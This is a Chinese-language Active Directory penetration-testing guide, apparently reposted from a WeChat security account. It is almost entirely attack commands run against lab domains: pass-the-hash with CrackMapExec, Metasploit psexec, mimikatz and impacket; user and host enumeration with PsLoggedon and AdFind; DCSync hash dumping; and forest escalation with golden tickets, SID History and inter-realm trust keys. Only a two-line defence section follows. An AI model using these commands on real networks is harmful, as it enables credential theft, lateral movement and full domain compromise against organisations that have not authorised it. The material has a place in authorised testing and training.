UAC(用户账户控制)允许用户以非管理员身份执行常见的日常任务,当内置的管理员账户Administrator进行远程链接是会直接得到具有管理员凭证的令牌,而非Administrator的本地管理员账户进行远程连接时,会得到一个删除了管理员凭证的令牌。通过本地管理员组中的域用户进行远程连接时,UAC不会生效,会直接得到一个具有管理员凭证的令牌。
Hash碰撞
CrackMapExec
proxychains -q crackmapexec smb 192.168.52.0/24 -u administrator -H 74520a4ec2626e3638066146a0d5ceae
MSF
use exploit/windows/smb/psexec
set payload windows/meterpreter/bind_tcp
set rhost 192.168.52.0/24
set smbuser administrator
set smbpass 74520a4ec2626e3638066146a0d5ceae
run
利用PTH进行横向移动
使用MSF进行PTH
use exploit/windows/smb/psexec
set payload windows/meterpreter/bind_tcp
set rhost 192.168.52.138
set smbuser administrator
set smbpass aad3b435b51404eeaad3b435b51404ee:74520a4ec2626e3638066146a0d5ceae
run
获取不到shell
使用mimikatz进行PTH
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:god.org /ntlm:74520a4ec2626e3638066146a0d5ceae" exit
# 在弹出的窗口中输入一下命令获取shell
cscript wmiexec.vbs /shell 192.168.52.138
使用impacket进行PTH
proxychains -q smbexec.py -hashes :74520a4ec2626e3638066146a0d5ceae god.org/administrator@192.168.52.138
定位用户登录的主机
注册表查询
Psloggedon
-
1. 查询本机登录的用户
PsLoggedon.exe /accepteula
-
1. 查询指定主机登录的用户
PsLoggedon.exe /accepteula \ad
PsLoggedon.exe /accepteula \10.10.10.10
PVEFindADUser
-
1. 查询所有机器当前的登录用户
查询结果被输出到report.csv文件中
# 查询域中所有机器当前登录的用户
PVEFindADUser.exe -current
# 查询域中所有机器当前登录的用户,不通过ping检测目标机器是否开启
PVEFindADUser.exe -current -noping
# 查询域中所有机器当前登录的用户,不通过ping检测目标机器是否开启,并且将主机的操作系统写入report.csv文件
PVEFindADUser.exe -current -noping -os
-
1. 查询指定主机当前的登录用户
# 查询win7当前登录的用户
PVEFindADUser.exe -current -target win7-pc
# 查询win7当前登录的用户,不通过ping检测目标机器是否开启
PVEFindADUser.exe -current -target win7-pc -noping
# 查询win7和ad当前登录的用户,不通过ping检测目标机器是否开启
PVEFindADUser.exe -current -target win7-pc,ad -noping
# 查询IP为10.10.10.10的主机当前登录的用户,不通过ping检测目标机器是否开启
PVEFindADUser.exe -current -target 10.10.10.10 -noping
# 查询IP为10.10.10.10,10.10.10.30的主机当前登录的用户,不通过ping检测目标机器是否开启
PVEFindADUser.exe -current -target 10.10.10.10,10.10.10.30 -noping
# 查询Win7主机当前登录的用户
PVEFindADUser.exe -current -target win7-pc
-
1. 查询指定用户当前登录的主机
为了准确性,强烈建议加上-noping参数
# 查询 xuanadministrator 用户当前登录的主机
PVEFindADUser.exe -current xuanadministrator -noping
# 查询 xuanadministrator 用户当前登录的主机,找到一个即停止寻找
PVEFindADUser.exe -current xuanadministrator -noping -stopfound
域控日志查询
域林渗透
查询域控
# Adfind查询xuan.com 的域控
Adfind.exe -b dc=xuan,dc=com -sc dclist
# Adfind查询域 ssp.xuan.com的域控
Adfind.exe -b dc=ssp,dc=xuan,dc=com -sc dclist
查询域管理员和企业管理员
# 查询林根域的企业管理员
Adfind.exe -b "CN=Enterprise Admins,CN=Users,DC=xuan,DC=com" member
# 查询林根域的域管理员
Adfind.exe -b "CN=Domain Admins,CN=Users,DC=xuan,DC=com" member
# 查询 beijing.xuan.com的域管理员
Adfind.exe -b "CN=Domain Admins,CN=Users,DC=beijing,DC=xuan,DC=com" member
查询所有域用户
查询当前域所有域用户
net group "domain users" /domain
使用Adfind查询其他域的所有用户
# 查询域内所有用户
AdFind.exe -b dc=god,dc=org -f "(&(objectcategory=person)(objectClass=user))" -dn
# 查询beijing.xuan.com域内所有用户
AdFind.exe -b dc=beijing,dc=xuan,dc=com -f "(&(objectcategory=person)(objectClass=user))" -dn
查询所有域主机
查询当前域内所有主机
net group "domain computers" /domain
Adfind查询域内所有主机
# 查询域xuan.com的所有主机
AdFind.exe -b dc=xuan,dc=com -f "objectcategory=computer" dn
# 查询域beijing.xuan.com的所有主机
AdFind.exe -b dc=beijing,dc=xuan,dc=com -f "objectcategory=computer" dn
跨域横向攻击
获得子域权限
得到域管理员权限后,导出域内所有用户Hash
proxychains -q impacket-secretsdump shanghai.xuan.com/administrator:P@[email protected] -just-dc-user "shanghaikrbtgt"
ps: 子域的管理员无权限通过DCSync导出林根域域其他子域的Hash
黄金票据+SID History 获得林根域权限
需要的条件
-
• 当前域的SID
-
• 林根域的Enterprise Admins的SID
mimikatz.exe “Kerberos::golden /domain:shanghai.xuan.com /sid:当前SID /sids:目标SID-519 /rc4:信任秘钥 /user:任意用户名 /service:krbtgt /target:目标域 /ticket:dayu.kirbi" exit
mimikatz "Kerberos::golden /domain:shanghai.xuan.com / sid:S-1-5-21-1816246241-4074331134-2257350442 /sids:S-1-5-21-3309395417-4108617856-2168433834-519 /rc4:5c71b05069ce9dc07c94d46851068d9f /user:xuan /service:krbtgt /target:xuan.com /ticket:xuan.kirbi" exit
之后可以导出林根域的krbtgt Hash了
lsadump::dcsync /domain:xuan.com /user:xuankrbtgt /csv
inter-relam key+SID History获得林根域权限
领域间密钥(Inter-realm Key) 为了实现领域间的身份认证,KDC必须共享一个领域间密钥(Inter-realm Key),以此来达到领域间的相互信任。
只要我们获得了Inter-realm Key就能制作访问其他域任意服务的ST,然后在ST中加上企业管理员的SID History,就可以以企业管理员的身份访问域林中的任意服务。
-
1. 获得inter-relam key
在子域shanghai.xuan.com 的域控SH-AD上通过mimikatz执行如下命令获得Inter-realm Key的值
mimikatz.exe "privilege::debug" "lsadump::trust /patch" "exit"
得到
-
• rc4_hmac_nt的值
-
• shanghai.xuan.com的域SID值
-
• xuan.com 的Enterprise Admins的SID
-
1. Impacket攻击
# 生成高权限的黄金票据
python3 ticketer.py -nthash rc4_hmac_nt的值 -domain-sid shanghai.xuan.com的SID值 -extra-sid xuan.com 的Enterprise Admins的SID -domain shanghai.xuan.com -spn krbtgt/xuan/com administrator
# 导入票据
export KRB5CCNAME=administrator.ccache
# 获得高权限的cifs/ad.xuan.com的ST
python3 getST.py -debug -k -no-pass -spn cifs/ad.xuan.com -dc-ip 10.10.10.10 xuan.com/administrator
# 远程连接林根域控
python3 smbexec.py -no-pass -k shanghai.xuan.com/[email protected]
# 导出林根域用户krbtgt的Hash
python3 secretdump.py -no-pass -k shanghai.xuan.com/[email protected] -just-dc-user "xuankebtgt"
域林攻击防御
SID过滤
禁用SID History
原文始发于微信公众号(SSP安全研究):域内渗透手法全解(万字长文+实验)适合收藏